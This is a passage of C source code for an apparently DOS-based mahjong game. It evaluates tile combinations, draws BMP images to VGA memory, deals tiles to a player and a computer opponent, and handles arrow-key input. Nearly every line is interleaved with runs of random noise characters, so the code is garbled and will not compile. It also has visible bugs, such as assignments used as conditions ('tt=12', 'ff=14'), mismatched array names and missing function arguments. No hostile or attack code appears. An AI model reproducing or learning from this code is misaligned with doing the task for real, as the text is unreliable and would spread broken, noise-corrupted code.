9 j  L5 p+ w3 }- m/ ]% G6 `- p/ Ufor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/5 A: U5 P% n% P4 w. E% L8 V% Y
{if(kl==i)
1 `! X7 @  @: E( P{2 [. n  J  r% ?1 |
kl=kl+2;' c* Q- w# l0 J7 F+ }8 V4 Y
if(kl==8)
2 a2 H" y, Z' N* q. B" r6 Lbreak;7 w' w" f4 p8 `9 d  w; t
}7 Y- L. w* ]5 y7 k: F% s
test[ill++]=pt[kl];9 N2 j" s& I+ B: p6 V- Z
}
$ n0 {* `7 R2 H8 s& u. Eisthree(test,tt-2); 0 ~) n7 Z0 t: v0 F2 X( Y6 W
}
. B+ K/ g% k# X}
& I' u0 V! ]$ j" d( g# _  O5 t9 Yelse if(tt==9)
/ P' z+ q3 X5 O; X9 M' y) A& G* jisthree(pt,tt);
; ~7 r+ B5 {3 Y$ R* xelse if(tt==11)
' C, a  r  v" l& V. F) S/ qfor(i=0;i&lt;10;i++)/ R1 ]7 @$ R4 S; X; r1 ^" K) R
{
6 d9 y# `4 D$ F& y  g0 ?2 T4 Yfor(j=0;j&lt;2;j++)
% X; j8 ^( e8 Z4 x) t; e. n{test[j]=pt[i+j]; & ?6 ?  _- s0 k
}
5 A( s6 V5 d- Y# \if(istwo(test))
. H# z1 \! H* o! d$ G- r" \{ ill=0;2 J/ d! w/ v! H0 r( Y
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
7 D) f2 O8 O0 C. b' U2 r# y{if(kl==i)
" Q' v( n, e- s- j7 r" m{' x, ~7 }5 {- X- c
kl=kl+2;
( u' ~+ X" P6 D1 i* aif(kl==11)
9 i* I* T9 h# D2 [2 ubreak;) s7 \& v7 ]6 ~, P
}
) b' c# d- \- f; Q1 U' htest[ill++]=pt[kl];
$ e( `5 |9 H2 [8 C}
1 y0 K6 N; A7 K- x' gisthree(test,tt-2); ; ?3 |- n6 Y- l( D9 a0 ]5 L
}) d' i1 y- x% D: Q! q: ^/ W- U
}
. d  O& J3 v! U- ?else if(tt=12)
) v# H# u! m3 g0 Q$ L# Qisthree(pt,tt);
6 x% K% [9 V0 A; w8 g) W) @else if(tt=14)0 T' g5 I2 x) j- m! R, E
for(i=0;i&lt;13;i++)
# y  @6 w9 m; @: x{
! Y  G, e- Q3 |  c" l( Rfor(j=0;j&lt;2;j++)
2 M7 F" Q6 m5 n0 J5 L5 w; S{test[j]=pt[i+j];
. B5 a$ U& Q" U}
1 I- ]) _* e9 q$ ]( oif(istwo(test))
- g' |1 ]( O# _+ i3 a+ Y5 X{ ill=0;9 i9 y% r! m( I/ ]2 B
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/4 I$ t& ^' s! W8 O
{if(kl==i)$ [6 @5 s2 R: K
{. v' w2 y' S4 [" l  Y
kl=kl+2;
9 {1 Q  |0 A* K. C1 Mif(kl==14)- [  X( w& n8 ~# t3 q' I; n6 G6 R
break;" x8 l3 k) c& Q4 \$ J0 Q
}
4 Q$ x+ R  Z1 U, P! ?! Ltest[ill++]=pt[kl];' _  p) J3 @* x5 K3 P; f
}
5 ], g  D9 b* c/ U2 Tisthree(test,tt-2); 9 x% R. @! n4 t( C. O& R
}! t$ O  y8 A( Z2 `" R
}
! Z3 o2 B' U3 P! M/ {4 P$ G/ {if(ii==2)
7 ^! W4 X3 }  listwo(pi);2 |. x# u5 R3 @4 h# a
else if(ii==3); O$ z, o  d- Y6 V
isthree(pi,ii);
/ `3 d; D4 ^, i/ n( x/ F! ^else if(ii==5)# E. q& \8 A1 Z" A% F$ g/ z& D
/*pi[5]原始牌数组,假设已经升序排列*/- z; }2 m' O  o0 J
/*test[3]用来放置测试牌的数组*/7 z* R8 ]% o( F! m9 A4 |6 _4 o
for(i=0;i&lt;4;i++); L0 @( K; c6 Q% o
{/ _2 }. i# F; P2 e0 j  \4 p) n8 o
for(j=0;j&lt;2;j++)$ _& K$ C+ w% t. m+ z; R, K; T
{test[j]=pi[i+j]; 7 B1 e9 C. z+ d3 r- F
}
: d1 a9 T; [( H  J/ L0 R, H  Hif(istwo(test))
8 q2 q0 a4 j/ R, q7 p+ z% c% I{ ill=0;
. W3 k! o5 S+ B  [' s5 jfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
$ ^4 ~) l; y- F& {( c* j- {{if(kl==i)4 P7 B1 F/ k5 W3 ^7 v& G
{
* U, w. P1 e* D: O1 fkl=kl+2;( v7 I7 H% M" H' v! s4 s
if(kl==5)
1 G. g, n/ p! A9 g# mbreak;
- r: C% L! y0 C- h0 H2 J7 O}( g+ g; {! }: Z! s
test[ill++]=pw[kl];
" p$ `+ D7 F6 M1 m, K}* I$ t3 t6 H) j8 b) y5 Y$ H
isthree(test);6 e& K4 f$ ~  B
}" x/ q' H9 X- e  w: K( ~
}3 {  [9 v6 M# L% R
else if(ii==6)
$ W$ D2 Z+ F8 X8 Z' qisthree(pi,ii); ; S+ v  F: R' [7 E3 {
else if(ii==8)
- _2 O2 s0 `8 M5 [* ffor(i=0;i&lt;7;i++)# Q6 c, W1 ^' ~4 h7 g& _
{8 Z+ Y5 ]+ ~. k8 e4 ~6 F
for(j=0;j&lt;2;j++)
+ t' X# ~! L5 \' ]{test[j]=pi[i+j];   q/ c6 A; W+ |
}# \0 d# G4 i' `: Q4 b' Y
if(istwo(test))* E% I' V: I: z" f! d" T
{ ill=0;  L. `) ^& n3 N, K
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/3 Y% _' O4 W( r+ a
{if(kl==i)" J7 J0 F0 R+ T/ N9 \; D. m
{$ `! Z0 c, P" \: }! P; E
kl=kl+2;
2 |$ }" L$ a" b" ?. g. G# iif(kl==8); C7 M6 R, B- `! P) d
break;6 j0 x! b6 i% b; k' j( I7 V
}" W$ F. p) W# g+ e' f* j+ F3 e
test[ill++]=pi[kl];% w7 E' T3 e* M% a- b! v
}
' ]0 a, N3 Z1 fisthree(test,ii-2);2 K2 B4 @4 T- Y* k) }$ }
}
  e' ~2 b: [" O2 U& t} 0 a3 x4 Y  b9 n4 D
else if(ii==9)5 [; u& i$ f% k" d3 O5 b
isthree(pi,ii);+ c* e( w7 J8 z# S2 b* y
else if(ii==11)
$ c4 s& d" w$ u/ y2 X9 ~for(i=0;i&lt;10;i++)8 I# e1 c; ^1 f' k) _  c* A
{% {: u5 U1 {/ G' e8 D+ ~
for(j=0;j&lt;2;j++)
2 b6 k8 I+ B0 o* S+ c) @{test[j]=pi[i+j]; * a( v1 Z3 W2 A4 m! S
}
3 C& y6 t5 U' W: Zif(istwo(test))
4 T7 _& j9 V8 [. E" z{ ill=0;( |* }6 Z; L' n. y; b  C- W
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
0 ]0 F# T1 j+ |{if(kl==i)/ H' v& p$ w0 B& X: l7 f( ~
{* n5 c0 o, R- i$ K! h/ f, O* I  w+ t
kl=kl+2;4 l  I; `. _2 [8 G
if(kl==11)+ T. @  P) {$ l& t: c, `
break;
0 T) D" @$ t3 y}# V' N1 Y6 F' n5 b8 I/ ~& W7 m  U
test[ill++]=pi[kl];
2 G7 L. ?' |: r$ A# [9 M}
$ i3 N- F! Y: a4 \/ B3 Yisthree(test,ii-2); 2 r3 t8 l) y* n; O# w0 ?% E! W
}/ s& V( U# h  l1 V/ [9 S, }1 v( Y
} / L0 `4 ~2 y0 D
else if(ii=12)* v) P4 z4 X# W
isthree(pi,ii);
% H% Z' f/ i6 ~& selse if(ii=14)
/ }5 M8 @4 S; l1 O+ Z7 y. |for(i=0;i&lt;13;i++)/ n9 g1 T8 Q/ {
{$ q: u7 }) A- [
for(j=0;j&lt;2;j++)
% u4 [9 v+ @: n- g{test[j]=pi[i+j]; # Q* q$ i) t0 Q
}# o/ Z7 G3 n( V/ f" j5 a
if(istwo(test))
3 G4 ^0 y% c8 g0 A1 V* m$ A% [, D% [{ ill=0;
! c- g5 r* K, L( e8 dfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
  o# E2 e/ F7 h' l* H6 s{if(kl==i)
0 b5 x2 F) Q4 A: Y$ M" N- t  H{$ _  L# L' ]7 @& S
kl=kl+2;
1 a3 w* p1 q* j$ x+ i! P, bif(kl==14)
  a  C- N+ x3 i/ F$ Ybreak;
7 v7 k; d$ g& h7 z9 I1 G6 G}" r4 k; F0 H9 P1 {7 `
test[ill++]=pi[kl];
- M' P. R- w. Q) |- U+ Z}
: `) w6 Z+ }$ D, l* \9 a' F* \6 qisthree(test,ii-2); 7 r- b) z1 r+ ?) ?; K/ x  E6 I
}: A# O1 Q9 C8 r  {* G7 D% s0 D
}
8 i9 }) c2 L: m# |) Tif(ff==2)$ }3 Z, d! u2 e0 {: k5 r! R/ f
istwo(pf);
+ ]( e9 H3 q5 W8 qelse if(ff==3)4 E/ B$ p9 |: `; o. o
isthree(pf,ff);
) c4 [# Q4 r' G; ~else if(ff==5)3 h8 |# r6 }* V
/*pf[5]原始牌数组,假设已经升序排列*/
  ~) W$ X* l. V4 H/ p/*test[3]用来放置测试牌的数组*/
& r+ S$ P9 s) o( D* sfor(i=0;i&lt;4;i++)! `0 b* T& m4 \/ S9 h4 k/ Q
{0 F# J3 ~8 ^; D2 L/ Y
for(j=0;j&lt;2;j++)+ u# i0 T+ y! }0 {% Z; H) A# [
{test[j]=pf[i+j]; / R6 B0 E. v4 F7 n5 [) J5 C% O" z1 p
}, B" d* @: k! z$ Z$ u* b: A
if(istwo(test))/ F& Q+ ]; a! [
{ ill=0;
9 c; J3 A1 R2 j- C1 mfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/* v7 f- G# {. o# c) G: f% r* x
{if(kl==i)
$ Y) d1 l7 F+ T2 z& E{
3 a7 J4 d2 f6 [& G6 W% R# [1 ?kl=kl+2;
2 K( T5 \  U# D4 K4 Yif(kl==5)
' T+ I% g- B6 g, z0 j( p) Sbreak;5 }; L! q- o4 k" W
}9 p( M9 w1 J, g  y
test[ill++]=pf[kl];: e5 i  F+ [$ k8 r5 F1 h4 q/ C
}6 W( T2 U2 f+ q3 Z. k! v
isthree(test);6 v* ^2 m1 x- T- q" |
}
. \+ x" j% q7 c) |' ]6 ~7 D}+ N9 b& i& g% L8 j6 x
else if(ff==6)4 x: ]2 m- h6 D1 x4 o# ^
isthree(pf,ff); , u* K6 l3 ]8 ^( \
else if(ff==8)
" s# I+ x2 e$ }5 efor(i=0;i&lt;7;i++)$ P4 F6 |2 b7 o0 l6 A$ T4 ]) n
{
  w- p/ `+ {; i( Dfor(j=0;j&lt;2;j++)
" }1 G) b; E! ^9 z/ S( k{test[j]=pf[i+j];
# Q. R4 `! o! U& H- e, e/ Y}
; y* B$ L( h, Nif(istwo(test))
6 [1 }6 M1 i7 z: s1 B1 ]{ ill=0;
0 A5 c% h2 k  x/ Z7 mfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
+ K2 n0 V1 o& T8 R{if(kl==i)9 a, ~6 C+ h4 Z" o
{
5 H5 D8 M, }- e  b+ E( {kl=kl+2;
* A8 c( y% ]. f% J- d2 gif(kl==8)
, x" {: {. ^/ obreak;6 ]4 \" T0 O: R; C6 w8 Y' |
}
, {* ]' Q. s: ltest[ill++]=pf[kl];
2 I- K9 {# I6 g: Y% M}( E# p  q4 h2 V* c3 P3 ~
isthree(test,ff-2);
) p' Y, p) |  Z1 u}# V$ P: ]2 ^6 E3 Q$ F' C/ l6 k5 b
} - A* i8 z) A5 [1 ]
else if(ff==9)
' r3 ^4 @* ?4 W: P- q4 r* ?isthree(pw,ww);( E1 f9 J$ M: d. Y6 v
else if(ff==11)0 I3 n: o9 W7 l, Q1 m% _
for(i=0;i&lt;10;i++)" f: o) w( z! y; T( d" H+ z
{+ g1 A) Q  p5 U0 x4 a1 ^
for(j=0;j&lt;2;j++)' y$ d) }, p7 ?
{test[j]=pf[i+j];
/ F& T# X8 [: V2 F" m}' v7 r- Y$ K! \4 W3 D
if(istwo(test)). V1 j, O6 s" }  r% |% x; x
{ ill=0;) j' a2 c- A; G. z
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
" b8 V3 z# K9 D) r3 Q# z{if(kl==i)/ L: P9 n: |8 I' j( d2 t$ h
{* ?/ \2 U/ Q5 E
kl=kl+2;
: @9 V! m  h4 p: Q( Bif(kl==11); O$ K- Q. j! ?& ?$ y
break;3 k! c' y0 s5 x, a; _$ ^( R2 X
}
0 z1 \3 \: M( Z$ ]& c% V2 rtest[ill++]=pf[kl];
# n. L  B2 f0 F8 W}; T( H3 i' p" W5 Q. w* [( a+ u* W
isthree(test,ff-2); - S8 t+ X" W9 J
}
" E! ?5 r2 i/ [}
4 D+ f, ?$ @  F& Y, celse if(ff=12)4 t+ z! q3 {' E+ G+ _+ }3 ^
isthree(pf,ff);
# }$ E. _  J$ Y( Delse if(ff=14)3 F( \% M' h$ j2 J0 W
for(i=0;i&lt;13;i++)
7 t5 c0 N5 }: }2 i8 r{
; }/ W5 t$ u# f' w& ]8 t5 E2 D7 g5 Efor(j=0;j&lt;2;j++)
& X' Q% c" T! y4 q{test[j]=pf[i+j];   K/ Q" ?( n3 Y. v3 O8 z
}
. v+ n2 [) g. dif(istwo(test))
* M8 w2 S5 P  Q# E# ~. c8 _" [" Y{ ill=0;
/ e6 C" h, ^: hfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/( Z/ R( r8 Q. L; r$ S4 s
{if(kl==i)7 f; ?0 Z- o  n2 ]( g6 E% d
{: }) ~0 o' w2 N& @% b& L  P. k. l
kl=kl+2;
! Y! H( k4 t, w' R" Cif(kl==14)
' f6 S  a& J3 a3 P: Xbreak;5 X: i8 n( P+ C2 a
}
, g$ R, L7 X3 h: Htest[ill++]=pf[kl];
! C2 h4 v: K3 y& S+ E8 B}, {4 Z2 r8 A5 E
isthree(test,ff-2);
3 u: h6 B6 P! V; ]}
' }* q) F$ ^$ B+ |  w+ Y  X} + y# Y' B: Q: f: R: Q# n
}
6 L  S! U" S. Z8 q4 s" V; q7 Xvoid main(void)
1 r; ?5 j& W" g, I{
% @9 p% ]/ P. p" w: mFILE *bmp;/ J: S+ Z3 g9 V
static char *name[2]={"ff.bmp","logo.bmp"};
1 w/ Z* o- }- n: y( Echar *p;
) b) v9 C" V- aint *lingshi;
7 s/ f% n. Z" gint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
: S0 ~( a5 M% ]  o8 Lint every=0,w=0,x1,x2,y1,y2,every1=0;
( B3 m! E" h8 O: |& ^# Yint logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;% p/ A- O2 K. ~: ?/ M
BYTE palette[256][3];4 \: E- Q8 ?4 r0 ^
SETVGA;* B  H6 x( {5 x. g3 v
getch();
( F. t0 z; g, x9 W' M# Rwhile(t--)
8 C. [, R- f, ?5 P) p{
: M9 u% d/ E) ~3 ^bmp=fopen(name[t],"rb");
: o+ y, v. V# K. Q( Qfseek(bmp,54,SEEK_SET);1 y& m0 R8 E# ?: W& k$ i
for(i=0;i&lt;256;i++)
+ Y% D, U" m: @; u) K6 D{) d" ?1 f) x; T( I
palette[2]=fgetc(bmp)&gt;&gt;2;5 s- b  O& Y& y
palette[1]=fgetc(bmp)&gt;&gt;2;
! j" A8 H0 i. m0 G  g3 Rpalette[0]=fgetc(bmp)&gt;&gt;2;
& w; w0 l8 H, A% Qfgetc(bmp);
, k' F4 }: y8 \( G- n) Q) r* LSet_Palette(i,palette[0],palette[1],palette[2]);. k  W% K9 O, X  X$ \% X* w' s' F
}
1 @: E- ^$ [( d/ N1 Ffor (y=0;y&lt;200;y++)9 i3 y& q; q; v3 K' a5 s' I$ X
for(x=0;x&lt;320;x++)
' m# F1 w( Z) `0 {. d* ]7 `! Y& O8 wpokeb(0xa000,y*320+x,fgetc(bmp));
5 _8 c: h* J2 ^0 }fclose(bmp);" S. P5 F6 j9 {4 {
getch();
  r. n& [% q. U$ @" E}
3 q! l" K7 N" s# L# d* g' p# Sgetch();
7 e/ C. [8 Y9 S/ j) H' c1 vfillRectangle(0,0,320,200,0);" g# |0 `; I( O9 c1 v8 ^
getch();
0 J; {. [- W$ m* I+ srandomize();
3 G9 @) q8 I. `9 N2 b2 n0 E' e% lme.m=onetothirteen;
( B- c( S; q; V9 }1 l% l" Kwhile(me.m&gt;0) /*先循环,给自己拿牌*/: o% P; p$ b# m' @) P# s
{
& z  X: K: X* A7 a* Y0 Q* B( Y7 j# H( U, o. u
temp=random(136);. @( q2 d' H1 g) t
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
- r# j/ R0 u& W( i" E: ]{
9 f5 g0 |3 d# W' Y% @me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/# ?* y0 y3 G, |- |- O. V, A
me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/- U  |' a" C) z+ Q9 X% [
me.pp[n].number=temp; /*第几张,用来排序*/  [9 a/ _  q5 F2 ~* i# D+ Q
m[temp].data2=1; /*判断牌是谁的*/
% h% u7 t  A( W1 @+ u6 Jkk=1;
- v- Q: F/ Y9 F9 D}
, P( \- X$ x( a5 y  ?$ q- r- Dif(kk==0) /*判断如果又选择了,就从新再选*/; m% g# Q7 q5 ^, ?' r" ], G
{ 5 x9 E+ w' `3 T  Y* a3 ^
me.m++;
9 i& Z6 m& m0 G: z" x$ bn--;7 p; J0 I5 M3 g5 P
}# R$ H. N$ X2 z4 K# H
me.m--;6 M* f7 f3 ]+ {  b
n++;
2 e6 |2 ]/ b  D. ~0 p: Ikk=0;
2 s. s' [1 D4 y& \}/ T: h3 g/ A: E/ Z- j0 M" ]8 @8 A
me.m=12;
4 O- B8 A) K1 q+ Z+ omelipai(); /*理牌*/
7 f& g7 ]& v. e9 e. M* E+ A# X; b& U1 y+ Z! V2 ^9 d
n=13;" t0 o7 l" ]: f3 I, w' Q
while(l&lt;n)
& P/ A; G( j  H! i, i, Q{
1 |+ F* @0 }4 p0 A* X. Lz=z+20;  X7 A6 I( ~/ k9 I) O( R
showbmp(l);
4 ]( c% t. ?( P: B% J. r) B, sl++;5 }) e, S6 j' }% _
6 {" C8 E6 }+ S* C5 y
}
$ L2 l5 R/ i* m( b: X) t. Srandomize();  R( S* K4 z1 Q
computer.m=oneorthirteen;
+ R7 \6 Y" G! K, c1 y% jn=0;
- d+ E. [1 s5 X! Rwhile(computer.m&gt;0) /*循环,给对方拿牌*/
4 j6 s- H5 g/ |$ z{
: x% ]9 f) [9 {9 O. P: \' V' m% Ctemp=random(136);2 q* P4 p) I$ f# [' n
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
& C- [9 m2 w+ Y{
, Z6 @9 k% h2 j8 ?9 B  Z; mcomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/" E, V8 [# {* S4 O- h
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/4 j, w$ b" n( _4 @  L
computer.pp[n].number=temp; /*第几张,用来排序*/" f5 ?3 T+ I3 I) z- F* P
m[temp].data2=2; /*判断牌是谁的,2为电脑*/
! Z8 K) l8 w; W4 M/ J% J% X( I  R( O( |kk=1;
0 l' @' a! T/ h" N1 f1 h, q, i& J}( i% @! V2 p. h! H
if(kk==0) /*判断如果又选择了,就从新再选*/% g# C  \" w6 U3 z
{ 2 G# f; t2 R# }4 t/ ]0 G: }
computer.m++;
8 T3 R1 J; l/ Zn--;
; z0 y: z1 u# D}
8 P* u# E8 z" M" b0 Tcomputer.m--;
* V3 w/ q  t. d/ e9 rn++;
& L; q1 s+ o, _kk=0;
4 u  C! o: z& U3 ^! A}
  `( |! @# L6 t& f# X8 hcomputer.m=12;5 L8 c  t8 @0 \. Q: l0 B
comlipai(); /*电脑理牌*/
' _8 P+ E$ p# jn=13;( p# A6 r' @/ \1 X" s* t: i7 b1 P
while(ll&lt;n)
# Z" U: b6 U/ t, D9 [% T! r* e) o) Y{2 {$ N% p% V: o- d& m
zy=zy+20;
, r! `9 U8 W0 l9 }showybmp(ll);" G! H; o9 V& _6 ^" }. c" p
ll++;
) I; T4 E% e: P. x6 F* e, Q}+ _8 @: R- X% K% m8 g+ A7 Z+ }
2 P+ u7 e$ V! H& m- g
z=54400;
  X. u7 |8 Z0 |" f# pwhile(key!=ESC): C  o# l# J5 d+ O
{ ; Z) d: J& f! Y4 }) R, I( X

, S: [2 ?8 O3 U) W3 z# _; I5 rkeyy=bioskey(0);
& U7 d, j7 V$ `; ?if(keyy==LEFT)
& k  }% {* R# @# k{ w=1;
) ?* C! \3 Y: U5 A/ v: Uif(every==0)& D! p& C3 E5 C* x2 c
{
8 \' O3 Z- `% }9 O7 D! ^" C/ @7 ^every=1;
4 p! g8 c7 V7 O( U+ _z=54440-5*320;5 E- Q0 U9 l0 W' W
3 r9 P) n- E/ E
}
7 |+ l4 ^# c4 f' c) w! bzz=zz+5*320;- v1 t( {( _) H, h9 u7 e& s8 A- l
showbmp(every);
: I) R; v* b/ D, N. Wif(every==0)
, @- Y4 @( L) b( T' }{
) _# q, @7 i5 s" ]: h( ox1=20;5 T) ~9 P( t5 N% v1 w
y1=165;; R4 j5 O) U4 s6 c
fillRectangle(x1,y1,x1+20,y1+4,0);
( M' F: q1 @" \  P! r8 t  X}; X8 ?1 g# v- h1 N. T& V- Z% Y
if(every==1)
4 f% a! a9 K8 P6 o{- g4 h, P% W) e8 Q4 |' ]4 D
x1=40;7 W5 Y: ?0 C  U( h$ U! ?' K4 a
y1=165;  ^* x0 @* w$ c0 f0 O
fillRectangle(x1,y1,x1+20,y1+4,0);
1 p4 v- T  K6 x7 m}; o, e( h8 r" }
if(every==2), f1 r+ t3 B- y9 n
{
2 g  P" h; l2 ?, cx1=60;
3 J1 S$ U0 Z' ?3 C4 B: ~3 Z7 e+ ry1=165;
8 {6 K0 {" i8 ]: Q, {# Z5 O' W, }fillRectangle(x1,y1,x1+20,y1+4,0);- `: v: M2 y% @; _. ]
}
, U" B- W0 E: p0 y+ }2 J" |if(every==3)
! W6 M) g5 h3 |- D: z{
" r. ?* y0 h- Ix1=80;3 E! r' C! d% p- p5 b
y1=165;+ Z" F) ]# B, x$ A$ f1 [
fillRectangle(x1,y1,x1+20,y1+4,0);
0 p" n1 ~" `6 Q/ U/ E9 h1 \- _}4 j! q5 ^4 e6 d$ l. P: i8 H
if(every==4)+ h5 K$ W8 V9 m* r( T- F& y
{
* {  Z" o  L8 n$ ix1=100;- F1 a" P5 y/ Z! d- A
y1=165;* |* A0 q& C: f) J# X
fillRectangle(x1,y1,x1+20,y1+4,0);% B9 W; L7 ~( X
}
* H8 ]  U) u; U7 F+ D3 z# Wif(every==5)
, K- Q6 \& @1 {* \6 j{9 v- A$ G" O2 d
x1=120;5 d3 P' E1 ~, E) n) p3 N
y1=165;
% y; F5 N1 d) X$ l0 }+ }fillRectangle(x1,y1,x1+20,y1+4,0);
$ l& }! l; }- V) N: c}$ B+ `& t# x( ?" A4 I5 E
if(every==6)
* q4 D3 _9 H, ~) ?4 w; T{: _$ B9 W0 I0 k% ?& T
x1=140;
2 A6 T, Y- H) ]9 H4 R# |y1=165;) `* X% `6 S1 |1 e8 p/ N- Q1 \
fillRectangle(x1,y1,x1+20,y1+4,0);
* f' o9 U0 w9 _- T7 h& O0 s" A}
& i: g) X- ~* dif(every==7)1 N% i: F/ V+ D! ^  Y& b7 r" F
{: L: P# a6 A" p+ F- W$ `& T& R
x1=160;
  |$ H( [; p# S( F9 G: S- w  u4 Q* uy1=165;' @5 g! i; s- a, z( f
fillRectangle(x1,y1,x1+20,y1+4,0);
* h9 }! o0 y1 _7 T8 J$ Q4 v}$ U! h5 f5 M  r! j  {" Y
if(every==8)% a. U# C8 s. j5 }
{; `, p5 f; ~: v, M7 q$ o2 P
x1=180;
$ }/ p+ x( C% W# r6 Jy1=165;
( F5 x2 [1 \& tfillRectangle(x1,y1,x1+20,y1+4,0);
0 \$ @: l6 |& ^6 H" I* p}2 d( _$ w* B/ O" x' o
if(every==9)
/ P- P( Z6 w- f" z9 m- F{
+ s  U$ {' o6 Z1 t2 |x1=200;
( h. y' V5 b$ x% Q0 v$ i% A+ By1=165;
- ^, P% [/ w" x; BfillRectangle(x1,y1,x1+20,y1+4,0);) O8 J' j7 U' V8 D
}
: M# f* B* V: H9 kif(every==10)4 h8 x) X7 H5 i* ~1 B: N- c
{; n! W  ^4 b5 R& G5 r* \2 k
x1=220;* b( D2 ?( k5 m3 a& m
y1=165;
# |* \2 Y! g# h9 q5 h# EfillRectangle(x1,y1,x1+20,y1+4,0);
9 j) X) E7 z/ F$ R}
* T  S( y/ W4 g+ @if(every==11)9 q# D4 Q2 H5 Z, `: X# {2 |
{
, }) E& V$ v1 _8 ux1=240;9 l1 T  c' S+ d4 P. n
y1=165;( K3 A' L) f' L! N# S
fillRectangle(x1,y1,x1+20,y1+4,0);
4 y: E9 [* ?2 Y9 A6 l9 e9 Y, f}4 `0 S% O4 D  }% ?- d+ l
if(every==12)
( o7 m- k$ q/ D' c! d; y{6 ]2 Z/ T1 O/ ~& K/ K
x1=260;
' V* O$ H8 X0 M4 `: Gy1=165;
% C% \  a* B8 S! L1 SfillRectangle(x1,y1,x1+20,y1+4,0);4 \$ J' K. X4 J5 J' s' t& M) S
}3 }6 J5 [1 v9 f# t
zz=0;. P+ D( H; c. C3 ]' s+ [. d9 |2 L
every--;
3 O& w1 M8 r* |! az=z-20;
& t# f4 v3 o; e$ I, a9 \% J+ B}
) m9 V$ |; F/ r9 Hif(keyy==RIGHT), S9 j9 N7 Y9 X* P1 `% h( Q3 W
{ if(w==0)2 X8 ^9 K( v: T- v' d# q
{; q# }, d7 }6 Z5 c( V, B$ N
z=54440-5*320;
! @. Q1 o; c. v4 M0 d2 t5 |z=z-20;
6 e2 \' P' X$ C7 r( I/ v4 C3 kw=1;
; B/ ^( M8 b& N* N}; [2 Y- `: [8 N; S7 t1 B4 Z; }
if(every==12)
$ B( v' w6 S# Z# _0 _{
* [  X) ?1 a. [; n3 M4 xevery=11;* c; p- l1 e: g, {* _% f
z=54640-5*320;" D+ G0 r/ ~: U6 Q* g0 _
}/ E0 i2 |. h5 V' J
zz=zz+5*320;
2 C$ Z2 A. M8 Y$ ~' _showbmp(every);
0 z4 T6 V. M4 h' C5 }- q% dif(every==0)
! s6 `& u) @: n4 [{
3 x# Z3 C# L9 vx1=20;
) O8 F2 H  m+ t3 y5 @6 G( L8 \' ?y1=165;" C; f& U! B% _/ ~9 c
fillRectangle(x1,y1,x1+20,y1+4,0);
) Z' m* T7 k: S/ R0 }, U, C}
& J! o$ [* ~0 V# [# e+ Wif(every==1)( z: I8 q3 J6 u0 Y& D
{; p. {9 R( y, t5 D9 ~  h" E
x1=40;6 _6 b2 o! o4 Z7 |" o0 @) i. P
y1=165;6 g3 h9 O6 m1 q- A( ^& K4 V
fillRectangle(x1,y1,x1+20,y1+4,0);/ h: o! p9 Z' P; f! S$ l
}$ K& G; T' p4 X+ s, N; Q6 l
if(every==2)' ~! O2 o# t# Q( F0 f0 c
{
1 j9 g$ p0 W9 v  P8 [x1=60;
/ E( s/ n0 C5 ~y1=165;
& s# u* U5 L, \- x3 p. J! j; D( VfillRectangle(x1,y1,x1+20,y1+4,0);
5 n! G2 C* }: n# ~" F% z* s}
- e$ O: D5 B, ^% O9 nif(every==3)7 l- e4 [: `& z" I, P/ o
{
8 U4 L- v! O! E: v* `$ sx1=80;; N  v) ]8 p  k/ y% O5 \" ~
y1=165;7 \' ]7 _: L' O( Y. ]& B
fillRectangle(x1,y1,x1+20,y1+4,0);
5 F, @9 V. ^* b/ H# o. @}# o, T0 f0 M! U
if(every==4)
+ T/ X; K& v$ o{. {3 P% W% b+ o) _# y: Z2 N/ J6 m: B
x1=100;  l6 h3 P/ _% Y6 q+ q* `# k2 z
y1=165;
7 X$ H6 y; q# I7 HfillRectangle(x1,y1,x1+20,y1+4,0);
; O. V! d, W" n) O9 t8 [}' w. p; R/ ]+ G% h+ V2 [
if(every==5)* J: j% c3 k4 \; H& t
{
. y7 n8 p7 u, s+ Ax1=120;9 z9 y$ \) T7 l2 G
y1=165;& D( w( v4 C3 M4 ^# ?5 C
fillRectangle(x1,y1,x1+20,y1+4,0);5 a' Y  J3 J- n9 G7 I' u  \
}$ ^6 }5 m' W( W% c
if(every==6)6 v- Q  Z8 P/ ^$ `, {
{& K8 d/ a* ^. _* s( A7 ]
x1=140;( y6 e: W+ i$ ?+ c
y1=165;
+ h6 [4 X  {# M4 s' Z& s7 W8 zfillRectangle(x1,y1,x1+20,y1+4,0);
" r( c7 H2 L, B6 }/ `}- x" E6 X4 {& z$ a
if(every==7)* ^4 g. m1 f- P" u
{
! N; t: n! ]% J/ r' Dx1=160;& S+ A' {1 v. p! b0 \9 H9 s/ U
y1=165;- F/ {* s$ w2 m) y+ z8 A
fillRectangle(x1,y1,x1+20,y1+4,0);6 @5 C0 i# p; Z. ^) w8 y. m
}) y' N' O" ]0 \
if(every==8)
4 X5 o6 n' U4 Z8 O{- {0 ~0 d( Z# b/ v
x1=180;. {+ M4 N4 T$ v+ u
y1=165;! r' y& ]- F  e
fillRectangle(x1,y1,x1+20,y1+4,0);
8 @5 F! `8 R1 x}
2 r+ K4 ]1 W9 e3 P; rif(every==9)  n) D* G" K7 L$ Z- e/ ?, t
{
0 y9 z: {( d$ H. v  fx1=200;
5 F/ ^4 ^! L+ E& Xy1=165;# T+ z5 s/ U& j, |" A
